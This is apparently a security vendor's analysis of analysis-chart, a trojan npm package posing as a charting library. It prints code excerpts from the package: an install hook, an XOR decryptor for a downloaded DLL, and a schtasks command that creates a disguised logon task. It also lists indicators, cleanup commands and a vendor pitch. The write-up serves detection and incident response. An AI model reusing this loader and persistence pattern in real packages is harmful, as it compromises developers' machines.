The npm package analysis-chart is a trojan that masquerades as a data analysis and charting library. Instead of providing any legitimate functionality, the package uses a malicious install script to download, decrypt, and execute a Windows DLL.
After executing the payload, the malware establishes persistence by creating a scheduled task to ensure the DLL is run at every user logon. In a final evasive step, the script triggers a self-destruction routine to remove the package from the project's dependencies and node_modules folder, effectively hiding the initial source of the compromise.
| Indicator | Role | Hosting | Status |
|---|---|---|---|
hxxps[://]github[.]com/Analysis-Chart/analysis-chart/releases/download/v1/payload.bin.enc | Encrypted payload URL | GitHub | Payload Source |
Package Delivery
The package is published to the npm registry and installed by developers into their projects via npm install analysis-chart.
Entry Point and Trigger
The attack is initiated by a postinstall script defined in the package's package.json file. The npm package manager automatically executes this script after the package is installed, which in turn runs the malicious lib/chart-loader.js file.
File: package.json
{
"name": "analysis-chart",
"version": "2.0.28",
"scripts": {
"install": "node lib/chart-loader.js"
}
}
Obfuscation
The malicious payload is fetched from a hardcoded URL. The downloaded file is not the final payload, but rather a Base64-encoded string that has been encrypted with a single-byte XOR cipher. The script reverses this process to reconstruct the payload DLL.
File: lib/chart-loader.js (lines 11, 35-39)
const chartKey = Buffer.from('Qg==', 'base64')[0]; // 'A'
function decryptChart(enc) {
const dec = Buffer.alloc(enc.length);
for (let i = 0; i < enc.length; i++) dec[i] = enc[i] ^ chartKey;
return dec;
}
Payload Drop and Persistence
After decrypting the payload, the script confirms it is a Windows DLL by checking for the "MZ" magic bytes at the start of the file. It then writes the DLL to the %APPDATA%\Microsoft\Windows\ directory with a randomized 8-byte hex name (e.g., a1b2c3d4e5f6a7b8.dll).
To ensure the malware survives a reboot, the script establishes persistence by creating a Windows Scheduled Task named WindowsUpdateService. This task is configured to execute the dropped DLL via rundll32.exe every time the user logs on.
File: lib/chart-loader.js (lines 73-76)
function createScheduledTask(dllPath) {
const taskName = 'WindowsUpdateService';
const createCmd = `schtasks /create /tn "${taskName}" /tr "rundll32.exe \\"${dllPath}\" Run" /sc onlogon /delay 0005:00 /ru %USERNAME% /rl HIGHEST /f`;
exec(createCmd, { windowsHide: true }, () => {});
}
Evasion and Self-Destruction
The most notable feature of this malware is its attempt to cover its tracks. After deploying the payload and setting up persistence, the main script spawns a new, detached Node.js process. This separate process is responsible for deleting the analysis-chart package from the node_modules directory and, more significantly, parsing the parent project's package.json file to remove itself from the dependency list. This makes post-compromise analysis difficult, as the original infection vector appears to vanish from the project.
File: lib/chart-loader.js (line 83)
function selfDestruct() {
// ... builds and runs a detached cleanup script ...
}
Remediation
If you have installed this package, you should treat the host as compromised. Remove the package from your project, rotate all secrets and credentials, and inspect the system for the persistence and payload artifacts described below.
Use the following commands to find and remove the artifacts created by this malware:
# Find and remove the malicious scheduled task
schtasks /query | findstr "WindowsUpdateService"
schtasks /delete /tn "WindowsUpdateService" /f
# Search for and remove the dropped DLL in the AppData directory
# The DLL will have a random 8-byte hex name (e.g., 1a2b3c4d5e6f7a8b.dll)
dir "%APPDATA%\Microsoft\Windows\*.dll"
# del "%APPDATA%\Microsoft\Windows\<malicious_dll_name>"
cyrokai catches packages like this before they ever reach a developer's machine: its scanners flag and block the malicious install hook in CI and at install time, so the DLL is never downloaded and the scheduled task never runs. Teams on the cyrokai platform are protected from this trojan without having to clean up after it.
Takeaways
- Install Scripts Remain a Key Vector: Malicious actors continue to abuse npm's lifecycle scripts (
install,postinstall) to trigger attacks automatically upon package installation. - Self-Destruction Hides the Trail: The malware's ability to remove itself from the host project's dependencies after execution is a significant evasive technique designed to frustrate incident response.
- Persistence is the Goal: Dropping a payload and creating a scheduled task allows the attacker to maintain a foothold on the compromised system long after the initial infection.
- Legitimate Hosting Services Abuse: Using GitHub Releases to host payloads makes them more difficult to distinguish from legitimate traffic and block at a network level.
Indicators of Compromise
Packages
analysis-chart@2.0.28
Network
hxxps[://]github[.]com/Analysis-Chart/analysis-chart/releases/download/v1/payload.bin.enc
Files/Host Artifacts
- Scheduled Task Name:
WindowsUpdateService - File Drop Location:
%APPDATA%\Microsoft\Windows\<random_hex>.dll